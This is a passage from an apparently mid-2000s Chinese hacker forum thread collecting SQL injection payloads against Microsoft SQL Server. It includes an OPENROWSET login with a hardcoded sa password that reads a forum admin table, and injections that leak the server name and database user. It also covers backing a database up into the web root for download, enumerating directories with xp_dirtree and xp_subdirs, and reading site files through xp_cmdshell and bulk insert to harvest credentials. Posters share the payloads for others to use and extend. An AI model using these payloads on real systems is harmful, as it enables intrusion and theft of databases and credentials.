SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111', 'SELECT * FROM [dvbbs].[dbo].[dv_admin]')
28、获得主机名: and 1=convert(int,@@servername)-- select convert(int,@@servername) select @@servername
29、获得数据库用户名: and 1=convert(int,system_user)-- and user>0 select user
pt007 编辑于 2006-01-02 18:46 pt007 发表于:2005-10-17 13:51 发帖: 14 积分: 1 注册: 2004-09-29 我会不定期的把最新的发现加入文档中,希望大家也把自己发现的一些好的命令补充进来,发扬网络共产主义精神.HEHE
pt007 编辑于 2005-10-18 10:11 pt007 发表于:2005-12-07 16:11 发帖: 14 积分: 1 注册: 2004-09-29 新增26和20项部分 pt007 发表于:2006-01-02 18:46 发帖: 14 积分: 1 注册: 2004-09-29 新增27-29项
pt007 编辑于 2006-01-02 18:46 qimeng 发表于:2006-01-02 20:43 发帖: 10 积分: 0 注册: 2003-10-11 支持一下,你的耐心精神,多谢。 --- 黑病毒-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!! ShaDoM 发表于:2006-01-03 03:52 发帖: 316 积分: 0 注册: 2005-04-26 增加几条,呵呵 sa 权限下以知web路径直接备份数据库到web路径下
database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
遍历系统的目录结构,分析结果并发现WEB虚拟目录 先创建一个临时表:temp
table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来: 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: temp exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 或者利用xp_subdirs获得子目录列表,并存入temp表中: into temp(id) exec master.dbo.xp_subdirs 'c:\';--
我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。 ---
|